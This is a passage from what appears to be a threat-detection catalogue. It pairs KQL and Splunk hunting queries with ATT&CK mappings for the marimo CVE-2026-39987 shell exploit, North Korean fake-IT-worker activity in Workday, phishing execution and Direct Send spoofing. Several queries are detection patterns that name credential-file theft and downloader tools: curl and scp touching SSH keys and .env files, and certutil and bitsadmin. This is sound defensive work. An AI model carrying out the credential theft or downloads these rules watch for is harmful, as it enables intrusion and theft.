| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-04-217 use cases2 techniques5 kill-chain phases detected
The shift to remote and hybrid work since the pandemic expanded global hiring and accelerated digital onboarding, increasing reliance on online identity verification and remote access. The post Detection strategies across cloud and identities against infiltrating IT workers appeared first on Microsoft Security Blog .
ATT&CKT1190T1528
Click any ATT&CK pill below to open it on the Matrix
Phase 1
Reconnaissance
Detected
Phase 2
Weaponization
—
Phase 3
Delivery
Detected
Phase 4
Exploitation
Detected
Phase 5
Installation
Detected
Phase 6
Command & Control
Likely
Phase 7
Actions on Objectives
Detected
Reconnaissance. Attacker researches the target — OSINT, scanning, enumeration. → [LLM] Jasper Sleet Workday hrrecruiting API enumeration by external accounts from shared infrastructure
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Microsoft Teams external-tenant chat from unverified IT-helpdesk impersonator
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code.
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → RMM tool installed by non-IT user — remote-access utility for hands-on-keyboard
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Remote service execution — PsExec / SMB lateral movement · OAuth consent / suspicious app grant · [LLM] Newly onboarded Workday account modifies payroll / bank / tax details from anonymising infrastructure · [LLM] New-hire account exhibits impossible travel and bulk M365 download in first 60 days
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Microsoft Teams external-tenant chat from unverified IT-helpdesk impersonatorDeliveryHigh
External Teams chat where displayName contains 'helpdesk' or 'IT support' — common 2024+ vishing pattern (Storm-1811, Black Basta, UNC6692). No CIM data model maps to Teams chats; uses raw O365 audit logs.
ATT&CKT1566.004T1566
Data sourcesCloudAppEvents
CloudAppEvents
| where Timestamp > ago(7d)
| where Application == "Microsoft Teams"
| where ActionType == "MessageSent"
| where RawEventData has "ExternalParticipants"
| extend SenderDisplayName = tostring(parse_json(RawEventData).SenderDisplayName)
| where SenderDisplayName matches regex @"(?i)(help.?desk|it.?support|service.?desk|tech.?support|admin)"
| project Timestamp, AccountDisplayName, IPAddress, ActivityType, SenderDisplayName, RawEventData
`o365_management_activity`
Workload=MicrosoftTeams Operation=MessageSent
ExternalParticipants=*
| where match(SenderDisplayName, "(?i)(help.?desk|it.?support|service.?desk|tech.?support|admin)")
| stats count, earliest(_time) as firstTime, latest(_time) as lastTime
by SenderUpn, SenderDisplayName, RecipientUpn, ChatId
RMM tool installed by non-IT user — remote-access utility for hands-on-keyboardInstallationHigh
ConnectWise / AnyDesk / TeamViewer / ScreenConnect / Atera installed outside IT change windows = common tradecraft for ransomware affiliates and IT-helpdesk impersonators.
ATT&CKT1219
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe")
or FileName matches regex @"(?i)kaseya.*\.exe"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe","kaseya*.exe")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
OAuth consent / suspicious app grantActions on ObjectivesHigh
Cloud identity abuse: app gets high-priv scopes, often via consent phishing.
ATT&CKT1528T1098.001
Data sourcesAuthentication.AuthenticationCloudAppEvents
CloudAppEvents
| where Timestamp > ago(7d)
| where ActionType in ("Consent to application.","Add OAuth2PermissionGrant.","Add delegated permission grant.")
| project Timestamp, AccountObjectId, AccountDisplayName, ActivityType,
ActivityObjects, IPAddress, UserAgent
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Authentication.Authentication
where Authentication.action="success"
AND Authentication.signature IN (
"Consent to application",
"Add app role assignment grant to user",
"Add OAuth2PermissionGrant",
"Add delegated permission grant")
by Authentication.user, Authentication.app, Authentication.src, Authentication.signature
| `drop_dm_object_name(Authentication)`
[LLM] Jasper Sleet Workday hrrecruiting API enumeration by external accounts from shared infrastructureReconnaissanceMedium
Hunts for the pre-recruitment job-discovery pattern Microsoft observed: multiple external (applicant) Workday accounts repeatedly hitting the same set of hrrecruiting/* API endpoints (accounts, jobApplicationPackages, validateJobApplication, resumes) from a single IP or small IP cluster. Legitimate applicants do not normally reuse one IP across many distinct candidate accounts.
Rationale: Uses the four exact hrrecruiting/* sub-paths Microsoft enumerated (accounts, jobApplicationPackages, validateJobApplication, resumes) and the article's behavioral fingerprint of multiple external accounts touching the same endpoint sequence from one IP — pattern shown in Figure 2. Cross-checked Microsoft June-2025 Jasper Sleet primary blog and Tidal Cyber campaign 64881c9d for the same infrastructure-reuse description.
Cross-checked against:
• https://www.microsoft.com/en-us/security/blog/2025/06/30/jasper-sleet-north-korean-remote-it-workers-evolving-tactics-to-infiltrate-organizations/
• https://app.tidalcyber.com/campaigns/64881c9d-9979-4455-adbf-9a2291c8cfb0
• https://cybersecuritynews.com/microsoft-warns-jasper-sleet-uses-fake-it-worker-identities/
ATT&CKT1591.004T1589.002T1583.001
Data sourcesWeb.WebChange.All_Changes
let recruiting_endpoints = dynamic(["hrrecruiting/accounts","hrrecruiting/jobApplicationPackages","hrrecruiting/validateJobApplication","hrrecruiting/resumes"]);
CloudAppEvents
| where Application == "Workday"
| where IsExternalUser == true
| where ActionType has_any (recruiting_endpoints)
| extend endpoint = tostring(extract(@"hrrecruiting/[A-Za-z]+", 0, ActionType))
| summarize
distinct_accounts = dcount(AccountId),
distinct_endpoints = dcount(endpoint),
accounts = make_set(AccountId, 50),
endpoints = make_set(endpoint, 20),
events = count()
by IPAddress, bin(Timestamp, 1d)
| where distinct_accounts >= 3 and distinct_endpoints >= 3
| order by distinct_accounts desc, events desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Web.user) as users values(Web.url) as urls dc(Web.user) as distinct_users dc(Web.url) as distinct_endpoints from datamodel=Web where Web.app="workday" Web.url IN ("*hrrecruiting/accounts*","*hrrecruiting/jobApplicationPackages*","*hrrecruiting/validateJobApplication*","*hrrecruiting/resumes*") by Web.src, _time span=1d | `drop_dm_object_name(Web)` | where distinct_users >= 3 AND distinct_endpoints >= 3 | sort - distinct_users
[LLM] Newly onboarded Workday account modifies payroll / bank / tax details from anonymising infrastructureActions on ObjectivesHigh
Hunts the post-recruitment monetisation step: a freshly created Workday user signs in and performs Add/Change/Assign/Create/Modify operations on Account/Bank/Payment/Tax objects within the first onboarding window, sourced from Astrill VPN, residential proxy, or other anonymiser ASNs. Microsoft observed Jasper Sleet redirecting salary into actor-controlled accounts via this exact pattern.
Rationale: Combines the article's exact Workday ActionType keyword set (Add/Change/Assign/Create/Modify on Account/Bank/Payment/Tax — taken verbatim from Microsoft's hunting query) with a temporal filter on freshly created Entra/Workday accounts and an anonymiser-ASN check. Astrill VPN is named as Jasper Sleet's primary anonymiser in the June-2025 Microsoft blog and corroborated by Tidal Cyber. Two independent signals (new hire + payroll mutation + anonymiser) keep FP low.
Cross-checked against:
• https://www.microsoft.com/en-us/security/blog/2025/06/30/jasper-sleet-north-korean-remote-it-workers-evolving-tactics-to-infiltrate-organizations/
• https://app.tidalcyber.com/campaigns/64881c9d-9979-4455-adbf-9a2291c8cfb0
ATT&CKT1565.001T1098T1078.004
Data sourcesChange.All_ChangesAuthentication.Authentication
let anonymiser_asns = dynamic(["Astrill","M247","DataCamp","Cogent","Quadranet","Choopa","PacketHub"]);
let new_hires = IdentityInfo
| where AccountCreationTime > ago(60d)
| project AccountUpn, AccountObjectId, AccountCreationTime;
CloudAppEvents
| where Application == "Workday"
| where ActionType has_any ("Add","Change","Assign","Create","Modify")
| where ActionType has_any ("Account","Bank","Payment","Payroll","Tax","Direct Deposit")
| join kind=inner new_hires on $left.AccountId == $right.AccountObjectId
| extend DaysSinceHire = datetime_diff('day', Timestamp, AccountCreationTime)
| where DaysSinceHire between (0 .. 60)
| join kind=leftouter (
AADSignInEventsBeta
| where RiskState in ("atRisk","confirmedCompromised") or RiskLevelDuringSignIn in ("high","medium")
| summarize RiskySignIn = max(Timestamp) by IPAddress
) on IPAddress
| extend AnonymiserHit = iff(ISP has_any (anonymiser_asns) or isnotempty(RiskySignIn), true, false)
| where AnonymiserHit == true or IPAddress !in ((IdentityInfo | where AccountUpn == AccountUpn | summarize make_set(IPAddress)))
| project Timestamp, AccountUpn, AccountId, ActionType, IPAddress, ISP, CountryCode, DaysSinceHire, AccountCreationTime
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Change.action) as actions values(Change.object) as objects values(Change.src) as src_ips from datamodel=Change where Change.vendor_product="Workday" Change.action IN ("Add","Change","Assign","Create","Modify") (Change.object_category="Account" OR Change.object="*Bank*" OR Change.object="*Payment*" OR Change.object="*Payroll*" OR Change.object="*Tax*") by Change.user, Change.src | `drop_dm_object_name(Change)` | lookup user_creation_lookup user OUTPUT created_time | eval days_since_hire=round((firstTime-created_time)/86400,1) | where days_since_hire <= 60 | lookup ip_reputation src OUTPUT is_anonymizer asn | where is_anonymizer="true" OR match(asn,"(?i)astrill|m247|cogentco|datacamp") | sort - lastTime
[LLM] New-hire account exhibits impossible travel and bulk M365 download in first 60 daysActions on ObjectivesMedium
Hunts the post-onboarding data-staging behaviour Microsoft showed in Figure 4: a sustained spike of impossible-travel alerts on a single new hire within the first ~60 days, frequently combined with SharePoint/OneDrive search-and-download bursts from anonymous proxies. Single impossible-travel alerts are noisy; correlating account age + repeated alerts + download volume is what makes this article-specific.
Rationale: Microsoft's Figure 4 explicitly shows clustered impossible-travel alerts in the first two months on a Jasper Sleet hire, plus the article calls out SharePoint/OneDrive search-and-download from anonymous proxies on these accounts. The detection only fires on the intersection (new hire ≤60d AND ≥3 alert-days OR ≥2 alerts with >100 downloads), which differentiates it from the standalone Defender impossible-travel rule. Cross-checked with the June-2025 Jasper Sleet blog and SOCRadar coverage.
Cross-checked against:
• https://www.microsoft.com/en-us/security/blog/2025/06/30/jasper-sleet-north-korean-remote-it-workers-evolving-tactics-to-infiltrate-organizations/
• https://socradar.io/blog/north-korean-it-workers-hack-global-remote-job-market/
• https://cyberscoop.com/microsoft-north-korea-ai-operations/
ATT&CKT1530T1213.002T1078.004T1090.003
Data sourcesAuthentication.AuthenticationChange.All_Changes
let lookback = 60d;
let new_hires = IdentityInfo
| where AccountCreationTime > ago(lookback)
| project AccountUpn, AccountObjectId, AccountCreationTime;
let impossible_travel = AlertInfo
| where Title has_any ("Impossible travel","Activity from anonymous IP","Sign-in activity by suspected North Korean entity Jasper Sleet")
| join kind=inner AlertEvidence on AlertId
| where EntityType == "User"
| summarize AlertCount = dcount(AlertId), AlertDays = dcount(bin(Timestamp,1d)), Titles = make_set(Title) by AccountUpn = tolower(AccountUpn);
let bulk_dl = CloudAppEvents
| where Application in ("Microsoft SharePoint Online","Microsoft OneDrive for Business")
| where ActionType in ("FileDownloaded","FileSyncDownloadedFull","FileAccessed")
| summarize Downloads = count(), DistinctFiles = dcount(ObjectName) by AccountUpn = tolower(AccountId), bin(Timestamp, 1d)
| summarize TotalDownloads = sum(Downloads), MaxDailyFiles = max(DistinctFiles) by AccountUpn;
new_hires
| extend AccountUpn = tolower(AccountUpn)
| join kind=inner impossible_travel on AccountUpn
| join kind=leftouter bulk_dl on AccountUpn
| where AlertDays >= 3 or (AlertCount >= 2 and TotalDownloads > 100)
| extend DaysSinceHire = datetime_diff('day', now(), AccountCreationTime)
| project AccountUpn, AccountCreationTime, DaysSinceHire, AlertCount, AlertDays, Titles, TotalDownloads, MaxDailyFiles
| order by AlertCount desc
| tstats `summariesonly` count from datamodel=Authentication where Authentication.signature="Impossible travel activity" OR Authentication.signature="Activity from anonymous IP address" by Authentication.user, _time span=1d | `drop_dm_object_name(Authentication)` | stats dc(_time) as alert_days sum(count) as alert_count by user | where alert_days >= 3 | lookup user_creation_lookup user OUTPUT created_time | eval days_since_hire=round((now()-created_time)/86400,1) | where days_since_hire <= 60 | join user [| tstats `summariesonly` count as download_count from datamodel=Web where Web.app IN ("sharepoint","onedrive") Web.action="download" by Web.user | rename Web.user as user | `drop_dm_object_name(Web)`] | where download_count > 100 | sort - alert_count
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender · [LLM] M365 Direct Send abuse: external-origin email spoofing internal sender domain
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key.
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage.
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Hunts the internal-phishing campaign called out in the Talos 2025 Year-in-Review: adversaries relay mail through a tenant's `<tenant>.mail.protection.outlook.com` smart host using the unauthenticated Direct Send feature so the From: address matches an internal user/domain, bypassing perimeter mail filters. We look for mail delivered with sender-domain == recipient-domain, originating from an external IP, with SPF/DMARC/compauth failures.
Rationale: Built directly on the article's call-out of 'widespread weaponization of Microsoft 365 Direct Send' for internal phishing. Detection logic mirrors the Varonis/Proofpoint/Bleeping Computer descriptions of the campaign: external IP relaying through a tenant smart host, From-domain == To-domain, and SPF/DMARC/compauth failures — three conditions that almost never co-occur on legitimate mail. Tier=hunting because legitimate on-prem apps and MFPs using Direct Send can produce some same-domain external-origin mail, but the SPF/DMARC-fail + multi-recipient pivot keeps fidelity high.
Cross-checked against:
• https://www.varonis.com/blog/direct-send-exploit
• https://www.bleepingcomputer.com/news/security/microsoft-365-direct-send-abused-to-send-phishing-as-internal-users/
• https://www.proofpoint.com/us/blog/email-and-cloud-threats/attackers-abuse-m365-for-internal-phishing
• https://learn.microsoft.com/en-us/exchange/mail-flow-best-practices/how-to-set-up-a-multifunction-device-or-application-to-send-email-using-microsoft-365-or-office-365
ATT&CKT1566.002T1656T1199
Data sourcesEmail.All_Email
let lookback = 7d;
EmailEvents
| where Timestamp > ago(lookback)
| where DeliveryAction in ("Delivered","DeliveredAsSpam")
| where EmailDirection == "Inbound"
| extend SenderDomain = tolower(tostring(split(SenderFromAddress,"@")[1]))
| extend RecipientDomain = tolower(tostring(split(RecipientEmailAddress,"@")[1]))
| where SenderDomain == RecipientDomain // sender appears internal
| where AuthenticationDetails has_any ("spf=fail","spf=softfail","spf=none","dmarc=fail","compauth=fail","compauth=softpass")
| where isnotempty(SenderIPv4)
| extend isPrivate = SenderIPv4 startswith "10." or SenderIPv4 startswith "192.168." or SenderIPv4 matches regex @"^172\.(1[6-9]|2[0-9]|3[0-1])\."
| where not(isPrivate)
| join kind=leftouter (EmailUrlInfo | project NetworkMessageId, Url, UrlDomain) on NetworkMessageId
| project Timestamp, NetworkMessageId, SenderFromAddress, SenderMailFromAddress, RecipientEmailAddress, SenderIPv4, SenderIPv4Country=tostring(parse_json(AdditionalFields).IPv4Country), Subject, AuthenticationDetails, ConnectorId, Url, UrlDomain
| summarize Recipients=dcount(RecipientEmailAddress), Urls=make_set(UrlDomain,25), MsgIds=make_set(NetworkMessageId,25), Subjects=make_set(Subject,10), AuthDetails=any(AuthenticationDetails) by SenderFromAddress, SenderIPv4
| where Recipients >= 2
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(All_Email.src) as src values(All_Email.src_ip) as src_ip values(All_Email.subject) as subject values(All_Email.message_id) as message_id values(All_Email.url) as url from datamodel=Email where All_Email.action=delivered All_Email.recipient=* All_Email.src_user=* by All_Email.src_user All_Email.recipient All_Email.orig_recipient_domain | `drop_dm_object_name(All_Email)` | eval sender_domain=lower(mvindex(split(src_user,"@"),1)) | eval recipient_domain=lower(mvindex(split(recipient,"@"),1)) | where sender_domain==recipient_domain | search src_ip!="10.0.0.0/8" src_ip!="172.16.0.0/12" src_ip!="192.168.0.0/16" | search src="*.mail.protection.outlook.com" OR src="*protection.outlook.com*" | where firstTime >= relative_time(now(),"-7d@d")
2026-04-216 use cases3 techniques5 kill-chain phases detected
In 2025, attackers increasingly targeted weaknesses in multi-factor authentication (MFA) workflows, and phishing attacks leveraged valid, compromised credentials to launch lures from trusted accounts. The trends focused entirely on trust, or the lack thereof, in everyday business operations.
ATT&CKT1190T1566T1566.001
Click any ATT&CK pill below to open it on the Matrix
Phase 1
Reconnaissance
Detected
Phase 2
Weaponization
—
Phase 3
Delivery
Detected
Phase 4
Exploitation
Detected
Phase 5
Installation
Detected
Phase 6
Command & Control
Likely
Phase 7
Actions on Objectives
Detected
Reconnaissance. Attacker researches the target — OSINT, scanning, enumeration.
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender · [LLM] M365 Direct Send abuse: external IP delivering 'internal' email via tenant smart host
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process · Fake CAPTCHA / clipboard-injected PowerShell (ClickFix / FakeCaptcha)
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → [LLM] Adversary-registered MFA device shortly after sign-in from a different IP / country
Command & Control. Beacon to attacker infrastructure for control and tasking.
